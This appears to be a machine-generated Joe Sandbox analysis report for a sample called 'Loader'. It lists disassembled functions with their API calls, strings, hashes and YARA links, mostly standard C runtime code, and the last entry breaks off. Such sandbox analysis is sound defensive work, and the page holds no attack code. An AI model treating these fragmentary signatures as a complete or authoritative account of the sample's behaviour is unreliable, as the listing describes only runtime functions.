Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm$xf4
API String ID: 2673424686-2576437276
Opcode ID: 3d12451c104b19b514fa68dba9808521b99e6a89b992400e161383438ef1a432
Instruction ID: ecbfcbb52abac7ba72d48bf79c56ca2601a79c4a369c954a59224a9cbde117ae
Opcode Fuzzy Hash: 3d12451c104b19b514fa68dba9808521b99e6a89b992400e161383438ef1a432
Instruction Fuzzy Hash: 70B18831800219EFCF1ADFA5D8C19AEBBB5BF14300F16456AE9156F212C331EA51CB91

Function 0032AB70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0032ABA7
___except_validate_context_record.LIBVCRUNTIME ref: 0032ABAF
_ValidateLocalCookies.LIBCMT ref: 0032AC38
__IsNonwritableInCurrentImage.LIBCMT ref: 0032AC63
_ValidateLocalCookies.LIBCMT ref: 0032ACB8

Strings

csm, xrefs: 0032AC4D

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: e24b4aa2e2e4209cfaf7e3b3196245ba70361da3fed1de9d5ec385b482f32a7f
Instruction ID: 02322ada8c7d2987d8e7e2810c14ea0c0eeb8b78d7a9ada5d1137cf792450df7
Opcode Fuzzy Hash: e24b4aa2e2e4209cfaf7e3b3196245ba70361da3fed1de9d5ec385b482f32a7f
Instruction Fuzzy Hash: E341D134A00A389BCF16DF68E881A9EBBB5BF05324F158155E8159F352CB35EA05CFD2

Function 00336602 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,BB40E64E,?,00336711,00000000,00000000,00000000,00000000), ref: 003366C3

Strings

ext-ms-, xrefs: 0033666D
api-ms-, xrefs: 00336659

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 430e5cd0b8a33b51684df382fe25dd9dc5cf1c382a94b3ea0e4146084f0a7e5a
Instruction ID: 1d84201713488179e8682a226fb5ea9b2a8a10ea12645d5fd4000f3359c4771e
Opcode Fuzzy Hash: 430e5cd0b8a33b51684df382fe25dd9dc5cf1c382a94b3ea0e4146084f0a7e5a
Instruction Fuzzy Hash: 5F21D835A01215BFC7339B61DCC7A5A376CAB417A1F164114ED05AB290DB70FD00CAD1

Function 00342E5C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10e133c26a22c5f5fa07172f58e91b5a74c89ce0f700a95adefd80bba2544d1b
Instruction ID: 540a5341f5203e5e223cfc8acceab2854a902cb909159860d5598a557f7da970
Opcode Fuzzy Hash: 10e133c26a22c5f5fa07172f58e91b5a74c89ce0f700a95adefd80bba2544d1b
Instruction Fuzzy Hash: AAB1A270A04249AFDB13DFA9C881BAEBBF5BF4A310F554258E4059F292D771AE41CB60

Function 0033442D Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00334424,0032A93D,00329B94), ref: 0033443B
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00334449
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00334462
SetLastError.KERNEL32(00000000,00334424,0032A93D,00329B94), ref: 003344B4

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5ec5f6dd04dfbda11966307a201332a54bc5484e944785ecb759e2612f6156f1
Instruction ID: 5f37e4225c9c40677a6d429e3e28a0ec4a97d1aa88f92eba13736c459f04d0d7
Opcode Fuzzy Hash: 5ec5f6dd04dfbda11966307a201332a54bc5484e944785ecb759e2612f6156f1
Instruction Fuzzy Hash: 3B01F73250A7116EF72B2B76BCC5A6B2A8CEB5277AF200339F510691F1FF526C015280

Function 0032F1B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,00345644,000000FF,?,0032F279,0032F160,?,0032F315,00000000), ref: 0032F1ED
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0032F1FF
FreeLibrary.KERNEL32(00000000,?,?,00000000,00345644,000000FF,?,0032F279,0032F160,?,0032F315,00000000), ref: 0032F221

Strings

CorExitProcess, xrefs: 0032F1F7
mscoree.dll, xrefs: 0032F1E6

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: fa6567375c21b59de27572fae9f6ce553544b4f205f329b87cbd08133f5be99f
Instruction ID: c0d5511847f96dd9e7067bdcd1c1fc72786e63df5b4519fb723e11832b84fa20
Opcode Fuzzy Hash: fa6567375c21b59de27572fae9f6ce553544b4f205f329b87cbd08133f5be99f
Instruction Fuzzy Hash: D9018439940629EFDB139B50EC45FAEBBF8FB05B12F010625E811A62A0DB74A800CA90

Function 00336DEA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00336E6F
__alloca_probe_16.LIBCMT ref: 00336F38
__freea.LIBCMT ref: 00336F9F

Part of subcall function 003356B1: HeapAlloc.KERNEL32(00000000,00337635,?,?,00337635,00000220,?,?,?), ref: 003356E3

__freea.LIBCMT ref: 00336FB2
__freea.LIBCMT ref: 00336FBF

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: de51947b728e4919af57dfe1cd0a94c718167b8bde213adfcc00fc8eb440f645
Instruction ID: 0935bc0dcdd65d179d7e615509e28c55c42d1e6411cfc8462f3ff133af578565
Opcode Fuzzy Hash: de51947b728e4919af57dfe1cd0a94c718167b8bde213adfcc00fc8eb440f645
Instruction Fuzzy Hash: 00519172600206BFDB239E61ECC3EABBAA9DF44710F16812DFD05DB201EB71DC1096A0

Function 003277B2 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003277B9
std::_Lockit::_Lockit.LIBCPMT ref: 003277C4
std::_Lockit::~_Lockit.LIBCPMT ref: 00327832

Part of subcall function 003276AF: std::locale::_Locimp::_Locimp.LIBCPMT ref: 003276C7

std::locale::_Setgloballocale.LIBCPMT ref: 003277DF
_Yarn.LIBCPMT ref: 003277F5

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: fb14af988626b80cd22ba13bf44b734b5c77d6c083c7cfc91f43d7ee7bd6a1c8
Instruction ID: 099251ce804f2185c58b59a94d1ae8aea9c1ad6e21ce91ae3e161f762c67a148
Opcode Fuzzy Hash: fb14af988626b80cd22ba13bf44b734b5c77d6c083c7cfc91f43d7ee7bd6a1c8
Instruction Fuzzy Hash: 0E015A79A045309BC707FF20E85667DBBA9BF85751F154049E8025B392DF38AE42CBC1

Function 0033F670 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0033F70C,00000000,?,00351E20,?,?,?,0033F643,00000004,InitializeCriticalSectionEx,003490D4,003490DC), ref: 0033F67D
GetLastError.KERNEL32(?,0033F70C,00000000,?,00351E20,?,?,?,0033F643,00000004,InitializeCriticalSectionEx,003490D4,003490DC,00000000,?,0033535C), ref: 0033F687
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0033F6AF

Strings

api-ms-, xrefs: 0033F694

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: a77e0c3dfda40c4e76f4010d69e1335fdd99483f662d6f9bad14af14d95056e7
Instruction ID: da1af318075267929457468698caac69c5849df7ca4d5367058c5eaa07296067
Opcode Fuzzy Hash: a77e0c3dfda40c4e76f4010d69e1335fdd99483f662d6f9bad14af14d95056e7
Instruction Fuzzy Hash: ECE04F31B80208BBEF221B62EC8BB693F99AB11B51F544030F90CEC5F1DBB6BC509944

Function 0033D70E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 0033D771

Part of subcall function 003357C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00336F95,?,00000000,-00000008), ref: 00335822

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0033D9C3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0033DA09
GetLastError.KERNEL32 ref: 0033DAAC

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 96f0df2b3df61f0e6d5bbed74a2cbd0c029448504f8ecd1daca0f0aea765d495
Instruction ID: c97ae3ffe55881d7aa2ea1e589801fd792c09750d1a9ab735be70b27537c798d
Opcode Fuzzy Hash: 96f0df2b3df61f0e6d5bbed74a2cbd0c029448504f8ecd1daca0f0aea765d495
Instruction Fuzzy Hash: 59D15A75D042589FCF16CFA8D9C0AEDBBB9FF09314F24416AE456EB351E630A942CB50

Function 00334A33 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00334AFA
___AdjustPointer.LIBCMT ref: 00334B1D
___AdjustPointer.LIBCMT ref: 00334BB9

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9cf5cb795e276bdb9ece72258ac1a13eb82210cc1582aeaa145bb8f80025da94
Instruction ID: 0f36c6c0b9de24b54d2a445dae6be7ef00d042e03ebb72b7ddea7f223fe4624b
Opcode Fuzzy Hash: 9cf5cb795e276bdb9ece72258ac1a13eb82210cc1582aeaa145bb8f80025da94
Instruction Fuzzy Hash: D751EF72604616AFDB2B8F14E8C1BAAB3B8EF40311F15456DE8858B690E731FC80CB90

Function 0033B536 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 003357C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00336F95,?,00000000,-00000008), ref: 00335822

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0033B59A
__dosmaperr.LIBCMT ref: 0033B5A1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0033B5DB
__dosmaperr.LIBCMT ref: 0033B5E2

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: d162ae35e26b645138df43992a6de4c67a359f0edc176c92112b08296593c8fa
Instruction ID: f5fd6a269333927a284a3e2ed754f13fbbae4b8a3d220de32f73ed1de2ddc596
Opcode Fuzzy Hash: d162ae35e26b645138df43992a6de4c67a359f0edc176c92112b08296593c8fa
Instruction Fuzzy Hash: BB21D771600219EFEB12AF66D8C186BF7ADFF05364F118518FA19DB550DB30ED508B90

Function 0032C9D2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 211ba87a4fa8f836cbb43104489fdf96be5810e0eeaa5e63018dbb0e942599f3
Instruction ID: a3a4f81e72900beba9e485ff516f18264473dec5e7e17c223b933be253bb48bc
Opcode Fuzzy Hash: 211ba87a4fa8f836cbb43104489fdf96be5810e0eeaa5e63018dbb0e942599f3
Instruction Fuzzy Hash: BE21C33161022AAF9B22EF75EC8196FB7ACFF043A4B119514F819DB550DB30EC408B90

Function 0033C92E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0033C936

Part of subcall function 003357C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00336F95,?,00000000,-00000008), ref: 00335822

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0033C96E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0033C98E

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: c70f2dc27a5ce265689e253f7493e1394e2cd5100d79650611be5f2f642bda87
Instruction ID: b9e23c3a4684b0f88eb2fddafb935c62a2524f2350c7ca024fbc17dff3d4e221
Opcode Fuzzy Hash: c70f2dc27a5ce265689e253f7493e1394e2cd5100d79650611be5f2f642bda87
Instruction Fuzzy Hash: 6F11C0B6511A15BFAB1327B25CCAD7F7A9CEE96794F521029F802E9100FF209D0087B0

Function 00344450 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,0034399F,00000000,00000001,?,?,?,0033DB00,?,00000000,00000000), ref: 00344467
GetLastError.KERNEL32(?,0034399F,00000000,00000001,?,?,?,0033DB00,?,00000000,00000000,?,?,?,0033D446,?), ref: 00344473

Part of subcall function 003444D0: CloseHandle.KERNEL32(FFFFFFFE,00344483,?,0034399F,00000000,00000001,?,?,?,0033DB00,?,00000000,00000000,?,?), ref: 003444E0

___initconout.LIBCMT ref: 00344483

Part of subcall function 003444A5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00344441,0034398C,?,?,0033DB00,?,00000000,00000000,?), ref: 003444B8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,0034399F,00000000,00000001,?,?,?,0033DB00,?,00000000,00000000,?), ref: 00344498

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 9880fee077bb2132693240697e7f69305b2b1b4ff4fe205246cccf2304da8577
Instruction ID: a74fb539fd6841251618fd3680283328e42a474e8c5cc0cd158c1db3c780205b
Opcode Fuzzy Hash: 9880fee077bb2132693240697e7f69305b2b1b4ff4fe205246cccf2304da8577
Instruction Fuzzy Hash: D7F0C73A501219BBCF231F95EC49B993F6AFB457B5F164420F918AD230DB31A8209B91

Function 0032A2F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0032A307
GetCurrentThreadId.KERNEL32 ref: 0032A316
GetCurrentProcessId.KERNEL32 ref: 0032A31F
QueryPerformanceCounter.KERNEL32(?), ref: 0032A32C

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9aed879b4f85cb294332b1b0ce205cc6b4cb2c73b29d28e4b8d92235567ea3e2
Instruction ID: 8072c1c4ffaee046f2247faf683d345c0006d680c51fa4ff66ed92939a33d229
Opcode Fuzzy Hash: 9aed879b4f85cb294332b1b0ce205cc6b4cb2c73b29d28e4b8d92235567ea3e2
Instruction Fuzzy Hash: F0F0AF78C0020CEBCF05DBB4CA4898EBBF8FF1D300B914995E412EA110EB30AB449B50

Function 004298AF Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 208COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00429939
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00429A8C

Strings

Xrsp, xrefs: 00429A2A

Memory Dump Source

Source File: 00000003.00000002.3276990426.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3276990426.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Loader.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: Xrsp
API String ID: 237503144-748625766
Opcode ID: fa13007f2bee2d67c54e7cf89fb10b18ac5bf56a918508bb9d97b2ce0acdbfc2
Instruction ID: 4f4ecb18278d76325596eabc208a3bfd82e07ba985bdba3104b664f90404af25
Opcode Fuzzy Hash: fa13007f2bee2d67c54e7cf89fb10b18ac5bf56a918508bb9d97b2ce0acdbfc2
Instruction Fuzzy Hash: 146107B4E403155BDB009F7DC9423AEFFB2FB85211F59826EE8546B386C77458068BE2

Function 0033A0E6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 0033590A: GetLastError.KERNEL32(00000000,?,00337C8D), ref: 0033590E
Part of subcall function 0033590A: SetLastError.KERNEL32(00000000,?,?,00000028,00331F53), ref: 003359B0

GetACP.KERNEL32 ref: 0033A1A5
IsValidCodePage.KERNEL32(00000000), ref: 0033A1DC

Strings

utf8, xrefs: 0033A2AE

Memory Dump Source

Source File: 00000003.00000002.3276872683.0000000000321000.00000020.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.3276854933.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276896008.0000000000346000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276912417.0000000000350000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276928084.0000000000354000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3276943232.0000000000357000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_Loader.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 2891e03d60d8d28ae73e3b59ca3afe83838d331533d0723071b3d3704b5c49cb
Instruction ID: 6db3ef582a07c4584440792b9f5a19ca3c0ed278efdef9bfeaf7f297bb0e109b
